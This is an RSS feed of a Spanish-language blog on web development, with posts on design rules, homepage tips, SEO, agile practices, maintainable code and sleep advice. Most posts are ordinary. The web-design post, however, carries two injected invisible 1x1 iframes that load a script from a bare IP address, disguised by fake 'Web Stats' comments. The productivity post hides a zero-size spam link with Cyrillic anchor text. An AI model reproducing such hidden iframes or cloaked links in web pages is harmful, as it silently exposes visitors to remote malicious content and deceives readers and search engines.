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	<title>CaudalWeb Blog &#187; consejos</title>
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	<description>CaudalWeb es un blog de tecnologías web, en donde encontrarás contenido relacionado con web 2.0, agile, ajax, recursos, api, tips, etc.</description>
	<lastBuildDate>Thu, 22 Jul 2010 16:20:14 +0000</lastBuildDate>
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		<title>Tres razones por las que un cliente no regresa al negocio</title>
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		<comments>http://www.caudalweb.com/blog/tres-razones-por-las-que-un-cliente-no-regresa-al-negocio/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 04:25:23 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[negocio]]></category>
		<category><![CDATA[razones]]></category>

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		<description><![CDATA[De acuerdo con Clate Mask las tres principales razones por la que un cliente no regresa al negocio son: 1) Tienen una mala experiencia 2) No se sienten especiales 3) No se anima a volver Compartir/guardar]]></description>
			<content:encoded><![CDATA[<p>De acuerdo con Clate Mask las tres principales razones por la que un cliente no regresa al negocio son:</p>
<p>1) Tienen una mala experiencia<br />
2) No se sienten especiales<br />
3) No se anima a volver</p>
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		<item>
		<title>5 hábitos para terminar un proyecto de software en tiempo record</title>
		<link>http://www.caudalweb.com/blog/5-habitos-para-terminar-un-proyecto-de-software-en-tiempo-record/</link>
		<comments>http://www.caudalweb.com/blog/5-habitos-para-terminar-un-proyecto-de-software-en-tiempo-record/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 05:16:35 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[principios]]></category>
		<category><![CDATA[proyectos]]></category>
		<category><![CDATA[recomendaciones]]></category>
		<category><![CDATA[tips]]></category>

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		<description><![CDATA[Las siguientes son recomendaciones que Nick Parsons propone para ser más productivo en el desarrollo de un proyecto de software. Bosquejar el proyecto antes de iniciar. Este punto es muy importante, ya que nos permite tener una idea más clara del proyecto. Por ejemplo, un diseñador puede crear el modelo en hoja y papel incluso [...]]]></description>
			<content:encoded><![CDATA[<p>Las siguientes son recomendaciones que <em></em><em><a title="Posts by Nick Parsons" href="http://webitect.net/author/nick-parsons/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/author/nick-parsons/');">Nick Parsons</a></em> propone para ser más productivo en el desarrollo de un proyecto de software.</p>
<ul>
<li><strong>Bosquejar el proyecto antes de iniciar</strong>. Este punto es muy importante, ya que nos permite tener una idea más clara del proyecto. Por ejemplo, un diseñador puede crear el modelo en hoja y papel incluso antes de tocar el equipo; a un desarrollador le permite planear el código con diagramas de flujos o esquemas.</li>
</ul>
<ul>
<li><strong>Estar a tope de la información</strong>. Muchas veces nos pasa que no podemos recordar algo, el mezclar varias tecnologías ocasiona que no recordemos las sintaxis o las confundamos. Este punto recomienda que utilicemos hojas de referencia. Lo importante es que cada quien tenga las hojas de referencia de las tecnologías de acuerdo como uno las requiera y ademas utilizarlas. Otra forma de estar a tope de la información es mantener a la mano la información que el cliente proporciona ya sea en papel o en alguna herramienta de gestión de proyectos.</li>
</ul>
<ul>
<li><strong>No empezar desde cero</strong>. Este punto recomienda el uso de plantillas o frameworks de desarrollo, ya sean creados por nosotros o por otras personas, creo que es una mejor manera de iniciar a partir de una base en lugar de invertir tiempo en hacer lo mismo para cada proyecto.</li>
</ul>
<ul>
<li><strong>Conocer bien las herramientas</strong>. La comunidad web es tan asombrosa que prácticamente para cada necesidad hay una aplicación. La parte difícil es que hay mucho para elegir, y cada vez hay nuevas versiones y nuevas herramientas. Es importante estar al tanto de las herramientas, sin tener que gastar tanto tiempo eso. Una estrategia es dedicar algún tiempo cada semana para vigilar por las nuevas herramientas y tecnologías. Otra es navegar en internet y cuando se vea algo que vale la pena añadir a nuestra colección de favoritos.</li>
</ul>
<ul>
<li><strong>No olvidarse de tomar descansos</strong>. Es importante tener en cuenta los descansos calculados; cuando uno comienza a sentir esa sensación de aburrimiento, el cuerpo nos está diciendo que es hora de tomar un descanso. Levantarse, estirarse, tomar aire fresco y luego volver hace que uno se sienta mucho mejor y se puede trabajar mucho más rápido. Un vaso de agua helada es tan asombroso para potencializar nuestra mente. Si estas trabajando eficientemente, entonces no te detengas, pero si ya perdiste el enfoque, no tienes nada que perder y si mucho que ganar. Es importante ser persistente pero no estar tan sujeto a no tomar un descanso cuando lo necesites.</li>
</ul>
<p>Redondeando, la productividad no es sólo conseguir que se haga algo rápidamente, es utilizar el tiempo de manera eficiente para producir un trabajo de calidad sin prisa. Una de las cosas más trágicas es que cuando un diseñador con talento (o desarrollador) tiene que comprometer la calidad de su trabajo y no hacerlo lo mejor posible a causa de un plazo. Mediante la adopción de estos cinco hábitos, se puede hacer más cosas en menos tiempo, y disfrutar más tiempo para uno mismo.</p>
<p>A continuación una lista de ligas recomendadas:</p>
<ul>
<li><a href="http://www.smashingmagazine.com/2006/10/30/cheat-sheet-round-up-ajax-css-latex-ruby/" onclick="javascript:pageTracker._trackPageview('/http://www.smashingmagazine.com/2006/10/30/cheat-sheet-round-up-ajax-css-latex-ruby/');">Cheat Sheet Round-Up: Ajax, CSS, LaTeX, Ruby…</a></li>
<li><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/" onclick="javascript:pageTracker._trackPageview('/http://www.videnov.com/');">&#1089;&#1090;&#1086;&#1083;&#1086;&#1074;&#1077;</a></font><a href="http://www.webdesignerdepot.com/2009/07/30-handy-cheat-sheets-and-reference-guides-for-web-professionals/" onclick="javascript:pageTracker._trackPageview('/http://www.webdesignerdepot.com/2009/07/30-handy-cheat-sheets-and-reference-guides-for-web-professionals/');">30 Handy Cheat Sheets and Reference Guides for Web Professionals</a></li>
<li><a href="http://sixrevisions.com/resources/cheat_sheets_for_web_designers/" onclick="javascript:pageTracker._trackPageview('/http://sixrevisions.com/resources/cheat_sheets_for_web_designers/');">Cheat Sheets for Web Designers</a></li>
<li><a href="http://www.catswhocode.com/blog/15-sites-web-developers-and-designers-should-know" onclick="javascript:pageTracker._trackPageview('/http://www.catswhocode.com/blog/15-sites-web-developers-and-designers-should-know');">15 Sites Web Developers and Designers Should Know</a></li>
<li><a href="http://freelancefolder.com/35-online-tools-to-make-your-freelance-career-easier/" onclick="javascript:pageTracker._trackPageview('/http://freelancefolder.com/35-online-tools-to-make-your-freelance-career-easier/');">35 Online Tools That Make Your Freelance Career Easier</a></li>
<li><a href="http://www.hrworld.com/features/100-toolboxes-for-web-workers-112907/" onclick="javascript:pageTracker._trackPageview('/http://www.hrworld.com/features/100-toolboxes-for-web-workers-112907/');">The Online Toolbox: 100+ In-Depth Resource Collections</a></li>
<li><a href="http://www.webdesignerdepot.com/2009/07/massive-compilation-of-designer-tools/" onclick="javascript:pageTracker._trackPageview('/http://www.webdesignerdepot.com/2009/07/massive-compilation-of-designer-tools/');">Massive Compilation of Designer Tools</a></li>
</ul>
<p>Ligas relacionadas:</p>
<ol>
<li><a title="Permanent Link: Web developer’s library: What you should have" rel="bookmark" href="http://webitect.net/coding/web-developers-library-what-you-should-hav/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/coding/web-developers-library-what-you-should-hav/');">Web developer’s library: What you should have</a></li>
<li><a title="Permanent Link: Predefined Variables in PHP: For complete beginners" rel="bookmark" href="http://webitect.net/coding/predefined-variables-in-php-an-overview-for-complete-beginners/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/coding/predefined-variables-in-php-an-overview-for-complete-beginners/');">Predefined Variables in PHP: For complete beginners</a></li>
<li><a title="Permanent Link: 30 jQuery Tutorials for Complete Beginners" rel="bookmark" href="http://webitect.net/coding/30-jquery-tutorials-for-complete-beginners/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/coding/30-jquery-tutorials-for-complete-beginners/');">30 jQuery Tutorials for Complete Beginners</a></li>
<li><a title="Permanent Link: 10 Ways to Find Motivation to Blog" rel="bookmark" href="http://webitect.net/blogging/10-ways-to-find-motivation-to-blog/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/blogging/10-ways-to-find-motivation-to-blog/');">10 Ways to Find Motivation to Blog</a></li>
<li><a title="Permanent Link: Conducting Collaborative Design Sessions - Part 1: Prepare" rel="bookmark" href="http://webitect.net/design/conducting-collaborative-design-sessions-part-1-prepare/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/design/conducting-collaborative-design-sessions-part-1-prepare/');">Conducting Collaborative Design Sessions &#8211; Part 1: Prepare</a></li>
</ol>
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		<title>Las siete reglas de un diseño Web</title>
		<link>http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/</link>
		<comments>http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 08:11:17 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[web]]></category>

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		<description><![CDATA[El diseño Web es un término ambiguo, pero me quedo con el desarrollo del aspecto visual que le da un sentido a la compañía o al individuo que representa. Un diseñador Web debe entender aspectos técnico y artísticos; aunque no necesariamente necesita la especialización de ambos. Hay siete reglas básicas que un diseñador web debe [...]]]></description>
			<content:encoded><![CDATA[<p>El <strong>diseño Web</strong> es un término ambiguo, pero me quedo con el desarrollo del aspecto visual que le da un sentido a la compañía o al individuo que representa. Un diseñador Web debe entender aspectos técnico y artísticos; aunque no necesariamente necesita la especialización de ambos. Hay siete reglas básicas que un diseñador web debe seguir.</p>
<ol>
<li><strong>Solo porque puedes no significa que debas</strong>.  Actualmente hay muchas tecnologías Web y no porque haya deban de utilizarse (por ejemplo Ajax, Flash, etc.); la pregunta que deberia hacerse un diseñador Web es: &#8220;&#8216; ¿La tecnología agrega valor al sitio o solo se utiliza para mostrar que hay novedad? &#8220;.</li>
<li><strong>Hay casi siempre una excepción</strong>. Un diseñador Web debe tener cuidado de excluir una tecnología Web, ya que si bien, no funciona para muchos usuario, quiza haya un grupo que lo prefiera (Por ejemplo, un logotipo animado con flash).</li>
<li><strong> El último juez es el usuario</strong>.  Opiniones durante el diseño del sitio nunca faltan (del diseñador, del jefe, del programador, etc); pero la conclusión es que el sitio debe tener sentido para el usuario, por lo tanto el sitio debe ser diseñado teniendo en mente al usuario.</li>
<li><strong>Cruzar experiencias es algo que un diseñador Web debe esforzarse.</strong> Un dieño Web profesional requiere entender las necesidades del usuario,  independientemente de los aspectos técnicos y estéticos que el sitio pueda tener.</li>
<li><strong>La humildad es el mejor enfoque.</strong> Siempre va a haber diseñadores con diseños de sitios más atractivos, por lo tanto el aprender de los demás fortalece las habilidades.</li>
<li><strong>Es imposible complacer a todos. </strong> Un diseño nunca va a dejar a todos contentos; y todo mundo tiene una<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> opinión. Sin embargo, hay una línea delgada<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> entre hacer feliz a la mayoría y tratar de crear un sitio que realmente sea eficaz en la comunicación.</li>
<li><strong>Tratar de estar en el tope de las especificaciones y estándares</strong>. Las especificaciones y estándares Web cambian constantemente, por lo tanto un diseñador Web debe tener una comprensión básica de las últimas tecnologías, las cuales afectarán el trabajo futuro.</li>
</ol>
<p>Además de las reglas básicas, un diseñador Web debería tomar en cuenta que debe haber tres factores en un sitio:</p>
<ol>
<li><strong>La estéticca</strong>. Qué tan profesional y consistente es el sitio con el negocio.</li>
<li><strong>La usabilidad</strong>.  Qué tan facil y rápido el usuario encuentra la información o ejecuta sus tareas.</li>
<li><strong>La funcionalidad</strong>. Qué tanto funciona el sitio y permite a los usuarios resolver sus problemas.</li>
</ol>
<p>De lo anterión se concluye que un sitio Web es exitoso si cumple con tres cosas: que le guste al usuario,  lo use  y le funcione.</p>
<div><a href="http://www.scrnshots.com/users/felohdez/screenshots/139453" onclick="javascript:pageTracker._trackPageview('/http://www.scrnshots.com/users/felohdez/screenshots/139453');"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/139453/tmppng_med_rect" alt="" /></a><a href="http://www.scrnshots.com/users/felohdez/screenshots/139449" onclick="javascript:pageTracker._trackPageview('/http://www.scrnshots.com/users/felohdez/screenshots/139449');"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/139449/tmppng_med_rect" /></a>
</div>
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	</p>]]></content:encoded>
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		</item>
		<item>
		<title>Tips de diseño de la página de inicio</title>
		<link>http://www.caudalweb.com/blog/tips-de-diseno-de-la-pagina-de-inicio/</link>
		<comments>http://www.caudalweb.com/blog/tips-de-diseno-de-la-pagina-de-inicio/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 10:56:01 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[homepage]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=185</guid>
		<description><![CDATA[Tips para tener un buen diseño de la página inicial Descrubrir las tareas que son de alta prioridad para los usuarios Proporcionar buena visibilidad para las tareas de alta prioridad Lenguaje centrado en el usuario, y no al lenguaje de la compañia En el esquema de navegación principal presentar primero los temas de interés del [...]]]></description>
			<content:encoded><![CDATA[<p>Tips para tener un buen diseño de la página inicial</p>
<ul>
<li>Descrubrir las tareas que son de alta prioridad para los usuarios</li>
<li>Proporcionar buena visibilidad para las tareas de alta prioridad</li>
<li>Lenguaje centrado en el usuario, y no al lenguaje de la compañia</li>
<li>En el esquema de navegación principal presentar primero los temas de interés del usuario,  y poner los enlaces de información sobre la compañía al final.</li>
<li>Proporcionar un camino claro para regresar a la página de inicio en el esquema de navegación, por ejemplo usando la etiqueta &#8220;Inicio&#8221;. </li>
<li>El contenido crítico debe estar sobre el despliegue de la pagina inicial</li>
<li>Distinguir claramente los <em>widgets </em>del contenido, por ejemplo, secciones principales, botones, etc.</li>
<li>No usar ventanas emergentes</li>
<li>No desplegar paginas con elementos Flash antes de permitirle a los usuarios  llegar a la página de inicio.</li>
<li>Mostrar el día y la fecha de cúando fue la última vez que se actualizó el  contenido de la página de inicio.</li>
</ul>
<p><strong>Ejemplos:</strong></p>
<p><a href="http://www.ning.com" onclick="javascript:pageTracker._trackPageview('/http://www.ning.com');" rel="nofollow" ><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/106338/tmppng_med_rect" alt="" /></a><a href="http://mx.mobile.yahoo.com" onclick="javascript:pageTracker._trackPageview('/http://mx.mobile.yahoo.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/92233/tmp_med_rect.png" alt="" /></a><a href="http://www.1024media.com" onclick="javascript:pageTracker._trackPageview('/http://www.1024media.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/96685/tmp_med_rect.png" /></a><a href="http://www.apple.com" onclick="javascript:pageTracker._trackPageview('/http://www.apple.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/106834/applejpg_med_rect" /></a><a href="http://www.awesomehighlighter.com/" onclick="javascript:pageTracker._trackPageview('/http://www.awesomehighlighter.com/');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/19854/tmp_med_rect.png" /></a><a href="http://www.kontain.com" onclick="javascript:pageTracker._trackPageview('/http://www.kontain.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/106838/tmppng_med_rect" /></a></p>
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	</p>]]></content:encoded>
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		</item>
		<item>
		<title>12 pasos para hacer un sitio web exitoso</title>
		<link>http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/</link>
		<comments>http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 04:07:03 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[proyectos]]></category>
		<category><![CDATA[recomendaciones]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[éxitoso]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=176</guid>
		<description><![CDATA[En los últimos años, hemos aprendido mucho sobre cómo hacer sitios web, sin embargo, si la meta es hacer dinero o hacer algo diferente entonces estos 12 pasos te ayudarán a lograrlo. Saber por qué quieres tener un sitio web. Demasiadas organizaciones construyen sitios sin saber siquiera el por qué. Hay que contestarnos las siguientes [...]]]></description>
			<content:encoded><![CDATA[<p class="docText">En los últimos años, hemos aprendido mucho sobre cómo hacer sitios web, sin embargo, si la meta es hacer dinero o hacer algo diferente entonces estos 12 pasos te ayudarán a lograrlo.</p>
<ol>
<li> <span><strong>Saber por qué quieres tener un sitio web</strong>. Demasiadas organizaciones construyen sitios sin saber siquiera el por qué. Hay que contestarnos las siguientes preguntas: </span><span>¿</span><span>Cómo ayudará tu sitio web a la organización? </span><span>¿</span><span>Cómo o de que manera ayudará a los visitores?.</span></li>
<li><span><strong>Construir el sitio web para el usuario</strong>. No para ti. Los usuarios llegan al sitio con un propósito en mente, y tu trabajo es ayudarles a completar su propósito. Esta es la principal lección que hay que aprender: tu sitio web es para los usuarios. Ellos llegan al sitio con un propósito en mente, entonces, tu trabajo es ayudarles a conseguirlo.</span></li>
<li><span><strong>Cumplir con una necesidad.</strong> Si quieres atraer visitores lo primero que tienes que hacer es cumplir una necesidad. </span>La necesidad más específica y la solución más efectiva,  lo que la mayoria de las personas buscan llevar a cabo.</li>
<li><span><strong>Escribir un plan</strong>. Es tan simple que a menudo es ignorado: tu deberías hacer siempre un plan &#8211; y escribirlo &#8211; antes de iniciar el trabajo en un sitio. Esto te ayuda a </span> pensar en las decisiones y la estimación de costos. Además, asegura que los miembros del equipo estén de acuerdo con lo que, exactamente, estén construyendo.</li>
<li><span><strong>Colabora</strong>.  Cada sitio exitoso es un esfuerzo de colaboración</span>, que requiere que personas de diferentes disciplinas &#8211; diseño, ingeniería, marketing- trabajen juntos. Pero el pensar de forma diferente, su trabajo diferente, y hablar lenguas muy diferentes hace que ellos pueden necesitar ayuda.</li>
<li><span><strong>Poner atención en el tráfico del sitio</strong>. Al ver lo que hacen los visitantes &#8211; de dónde proceden, en donde hacen clic, cuánto tiempo permanecen, cuando salen &#8211; se puede ver qué es lo que funciona (y qué no) en tu sitio.</span></li>
<li><span><strong>Deja a tu sitio evolucionar</strong>. Después del lanzamiento de tu sitio web, el trabajo real inicia. Hay que ver como es usado y gradualmente hacer los cambios para satisfacer mejor las necesidades de los usuarios.</span></li>
<li><span><strong>Haz tu sitio fácil de usar</strong>. Es una ecuación probado-y-comprobado. Mientras más fácil sea tu sitio web de utilizar, más personas lo usarán. Así que si quieres ganar impulso, haz tu sitio más simple y más sencillo, por ejemplo:  tomar decisiones obvias, elegir nombres claros, y seguir las convenciones de diseño que los usuarios han asumido.</span></li>
<li><span><strong>Probar, probar, probar! </strong>Es difícil predecir lo que ocurrirá cuando un sitio aparece en diferentes navegadores o es utilizado por diferentes personas. Por lo tanto, asegúrete de probar! Probar el diseño y la tecnología en los distintos sistemas. También comprobar si el sitio es usable: ¿Las personas lo entienden? </span><span>¿Pueden completar sus metas?.</span><span> </span></li>
<li><span><strong>Utilizar el email para mantenerse en contacto con los visitores</strong>.</span> Las personas visitan a tu sitio solo cuando ellas lo recuerdan. El email es la mejor forma para recordarselo. No importa que tipo de sitio tengas, el email es la mejor forma para hacer que las personas regresen. Pero recuerda: hay una linea delgada entre el recordatorio y el hostigamiento. No exageres!.</li>
<li><span><strong>Mantente concentrado (enfocado).</strong> Es fácil pensar en un mil cosas que hacer, dado todo el tiempo y los recursos. Pero, no siempre es mejor. Desde el punto de vista del usuario, un buen sitio web es un sitio Web simple, y para características adicionales sólo hay que ponernos en sus zapatos.</span></li>
<li><span><strong>Acelérarlo!</strong>. Puedes hacer todo lo demás correctamente, y aún falla. Si las páginas se cargan lentamente, mejora la velocidad de tu sitio.</span></li>
</ol>
<p><cite>Fuente: &#8220;The Unusually Useful Web Book&#8221; by June Cohen </cite></p>
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		<title>Trece tips para facilitar la búsqueda en Google</title>
		<link>http://www.caudalweb.com/blog/trece-tips-para-facilitar-la-busqueda-en-google/</link>
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		<pubDate>Fri, 21 Nov 2008 06:42:06 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[recomendaciones]]></category>
		<category><![CDATA[tips]]></category>

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		<description><![CDATA[La siguiente es una lista de tips, recomendaciones o mejores prácticas que Google recomienda para mejorar y facilitar tanto la búsqueda como el indexamiento del contenido en los motores de búsqueda. Crear títulos de página únicos y precisos Hacer uso de la etiqueta meta &#8220;description&#8221; para la descripción de la página Mejorar la estructura de [...]]]></description>
			<content:encoded><![CDATA[<p>La siguiente es una lista de tips, recomendaciones o mejores prácticas que Google recomienda para mejorar y facilitar tanto la búsqueda como el indexamiento del contenido en los motores de búsqueda.</p>
<ul>
<li>Crear títulos de página únicos y precisos</li>
<li>Hacer uso de la etiqueta <em>meta &#8220;description&#8221;</em> para la descripción de la página</li>
<li>Mejorar la estructura de tus URLs</li>
<li>Hacer tu sitio fácil de navegar</li>
<li>Ofrecer contenidos y servicios de calidad</li>
<li>Escribir un mejor texto en el ancla (&lt;a href=&#8221; &#8230; )</li>
<li>Utilizar adecuadamente las etiquetas de encabezado (h1, h2, &#8230; )</li>
<li>Optimizar el uso de imágenes</li>
<li>Hacer un uso eficaz de robots.txt</li>
<li>Estar consciente de <em>rel = &#8220;nofollow&#8221;</em> para los enlaces</li>
<li>Promover tu sitio web de la forma correcta</li>
<li>Hacer uso de herramientas libres para webmasters</li>
<li>Aprovecha las ventajas de los servicios de análisis web</li>
</ul>
<p>Estos puntos han sido extraidos del la versión 1.1 de la guía de optimización de motor de búsqueda de Google para principiantes (<a title="Google's Search Engine Optimization Starter Guide" href="www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf" target="_blank">Google&#8217;s Search Engine Optimization Starter Guide</a>) liberada recientemente.</p>
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		<title>Habilidades esenciales de desarrollo ágil</title>
		<link>http://www.caudalweb.com/blog/habilidades-esenciales-de-desarrollo-agil/</link>
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		<pubDate>Sat, 20 Oct 2007 07:48:49 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[proceso]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[ágil]]></category>

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		<description><![CDATA[Los procesos ágiles de desarrollo de software, conocidos anteriormente como metodologías livianas, intentan evitar los tortuosos y burocráticos caminos de las metodologías tradicionales enfocándose en la gente y los resultados. Las innovaciones en las técnicas de programación nos ayudan a entregar el software que reúna los requerimientos de los clientes en el tiempo y presupuesto [...]]]></description>
			<content:encoded><![CDATA[<p>Los <strong>procesos ágiles</strong> de <a title="Desarrollo de software" href="http://es.wikipedia.org/wiki/Desarrollo_de_software" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Desarrollo_de_software');">desarrollo de software</a>, conocidos anteriormente como <em>metodologías livianas</em>, intentan evitar los tortuosos y burocráticos caminos de las metodologías tradicionales enfocándose en la gente y los resultados. Las innovaciones en las técnicas de programación nos ayudan a entregar el software que reúna los requerimientos de los clientes en el tiempo y presupuesto establecido. A continuación, Kent Tong Ka Iok, enumera algunas de estas técnicas o habilidades esenciales utilizadas en el desarrollo de software.</p>
<ul>
<li>Eliminar código duplicado</li>
<li>Colocar comentarios en el código</li>
<li>Quitar los<em> <a title="Code Smells" href="http://c2.com/cgi/wiki?CodeSmell" onclick="javascript:pageTracker._trackPageview('/http://c2.com/cgi/wiki?CodeSmell');">Code Smells</a> </em>(código que tiene indicios a que algo pueda fallar)<em><br />
</em></li>
<li>Conservar el código ordenado</li>
<li>Tener cuidado con la <em>Herencia</em></li>
<li>Manejar referencias apropiadas</li>
<li>Separar las bases de datos, interfaces de usuarios, y la lógica del dominio</li>
<li>Conducir proyectos de software con <em>User Stories</em></li>
<li>Diseño orientado a objetos con <em>CRC Cards</em></li>
<li>Hacer pruebas de aceptación</li>
<li>Hacer pruebas unitarias</li>
<li><em>Test Driven Development</em></li>
<li>Desarrollo en equipo con control de versiones (<em>CVS)</em></li>
<li>Comunicación</li>
<li>Programación en pareja</li>
</ul>
<p>Para mayor detalle puedes descargar y consultar el libro: <a title="Descargar ebook" href="http://www.agileskills.org/pdf/ESAD.pdf" onclick="javascript:pageTracker._trackPageview('/http://www.agileskills.org/pdf/ESAD.pdf');">Essential Skills for Agile Development</a></p>
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		<item>
		<title>Seis tips para escribir código mantenible</title>
		<link>http://www.caudalweb.com/blog/seis-tips-para-escribir-codigo-mantenible/</link>
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		<pubDate>Thu, 07 Jun 2007 16:24:24 +0000</pubDate>
		<dc:creator>felohdez</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[recomendaciones]]></category>
		<category><![CDATA[tips]]></category>

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		<description><![CDATA[Como desarrollador, sabemos que el tiempo es un recurso muy valioso. Estos seis tips sobre cómo escribir código mantenible están garantizados para ahorrarte tiempo y frustraciones: un minuto gastado en la escritura de comentarios puede ahorrarte una hora de angustia. Comenta tu código como lo hace una persona inteligente Es obvio. Si escribes un procedimiento [...]]]></description>
			<content:encoded><![CDATA[<p>Como desarrollador, sabemos que el tiempo es un recurso muy valioso. Estos seis tips sobre cómo escribir código mantenible están garantizados para ahorrarte tiempo y frustraciones: un minuto gastado en la escritura de comentarios puede ahorrarte una hora de angustia.</p>
<ol>
<li>Comenta tu código como lo hace una persona inteligente</li>
<p>Es obvio. Si escribes un procedimiento y en pocos meses después falla al ejecutarlo, y entonces revisas el código para retrabajarlo y si no lo tienes comentado te costará tiempo. Este tiempo es un recurso tan valioso que nunca puede ser recuperado.</p>
<li>Usar el <code>#define</code></li>
<p>La mayoría de los programadores sabemos hacer cosas como esta. Pero se requiere de disciplina para hacerlo. Cada vez que definas una constante deberías definirla en un lugar centralizado. Por ejemplo, si tu quieres que el área del <em>layout</em> de tu pagina web sea de 800 x 600 <em>pixeles</em>:</p>
<pre class="displaycode">#define PIXEL_WIDTH_LAYOUT	800
#define PIXEL_HEIGHT_LAYOUT	600</pre>
<p>Si después decides cambiar el tamaño, solo lo tendrías que cambiar aquí y no tendrías que buscarlo en todo tu código y también, no tendrías que componer errores causados por las referencias perdidas.</p>
<li>No usar nombres de variables que te puedan burlar después</li>
<p>Si alguien no tiene idea la leer un nombre de variable, no puede entender lo que está haciendo. Una buena estrategia es dar nombres descriptivos a las  variables, procedimientos, clases, etc.</p>
<li>Hacer verificación de errores</li>
<p>Cuando alguien  crea un procedimiento/función debería siempre pensar, &#8220;Suponer a alguien malévolo, que por ejemplo use valores extraños, ordene los datos al revés, introduzca valores inválidos, etc; ¿cómo podemos proteger el código y defenderlo para conservar el sistema de que no truene?&#8221;</p>
<li>Optimización prematura es la raíz de todo mal</li>
<p>La regla es codificar claro y que trabaje bien. Tu tendrás el tiempo para optimizarlo después. Pero no lo hagas hasta que estés seguro de lo que lo que estas haciendo es lo correcto.</p>
<li>No ser demasiado listo, en gran parte</li>
<p>Cada quien tiene su propia tolerancia para la complejidad del código. En la codificación de programas, la regla es buscar que se gaste menos tiempo en tratar de comprenderlo, tanto para ti como para las personas que lo lean.</ol>
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		<title>10 claves para tener un mejor sueño</title>
		<link>http://www.caudalweb.com/blog/10-claves-para-tener-un-mejor-sueno/</link>
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		<pubDate>Thu, 17 May 2007 04:21:27 +0000</pubDate>
		<dc:creator>felohdez</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[tips]]></category>

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		<description><![CDATA[Dormir es una necesidad humana básica, tan necesario como lo es el oxígeno. Tener un buen sueño no solamente está relacionado a cómo nos sentiremos al siguiente día, sino también con nuestra salud a largo plazo. Muchos de nosotros llegamos a sufrir al menos en una ocasión de insomnio. Muchos mas de nosotros tenemos al [...]]]></description>
			<content:encoded><![CDATA[<p>Dormir es una necesidad humana básica, tan necesario como lo es el oxígeno. Tener un buen sueño no solamente está relacionado a cómo nos sentiremos al siguiente día, sino también con nuestra salud a largo plazo. Muchos de nosotros llegamos a sufrir al menos en una ocasión de insomnio. Muchos mas de nosotros tenemos al menos una noche de sueño inquieto por semana que nos deja sintiéndonos mal  e irritados. Este es un problema serio. Si tú piensas lo contrario, considera esto, &#8220;personas que duermen cuatro horas o menos por noche tienen el doble de probabilidad de no vivir en seis años que aquellas que duermen sus ocho horas.</p>
<p>Dada la seriedad del sueño, ¿qué podemos hacer para asegurar que descancemos bien y estar saludables?  Mientras no haya un método infalible aquí hay algunas sugerencias de expertos en el sueño. Si tienes problemas para dormir y los métodos no te ayudan, es importante que acudas a un médico antes de que el insomnio cause sufrimientos en tu salud. Estas son las 10 sugerencias.</p>
<ol>
<li>Si no puedes dormir a media noche, no te levantes, continua acostado, ya que la luz podría afectar tu reloj biológico y empeoraría tu insomnio.</li>
<li>Evita siestas excepto las que sean breves, de 10 a 15 minutos y sean entre 2:00 y 4:00 P.M.</li>
<li>Restringe tu tiempo en la cama al promedio de número de horas que has dormido por noche durante la semana previa. No intentes compensar por las horas de sueño perdidas.</li>
<li>Has ejercicio regular diario, pero que no termines menos de seis horas antes del tiempo de dormir. El ejercicio en las mañanas puede ayudar a conservarte despierto.</li>
<li>Tomar un baño caliente por unos 30 minutos entre dos horas antes del tiempo de dormir. El baño te calentará, te relajará y te hará sentirte con sueño.</li>
<li>Conserva tu recámara obscura, tranquila y bien ventilada.</li>
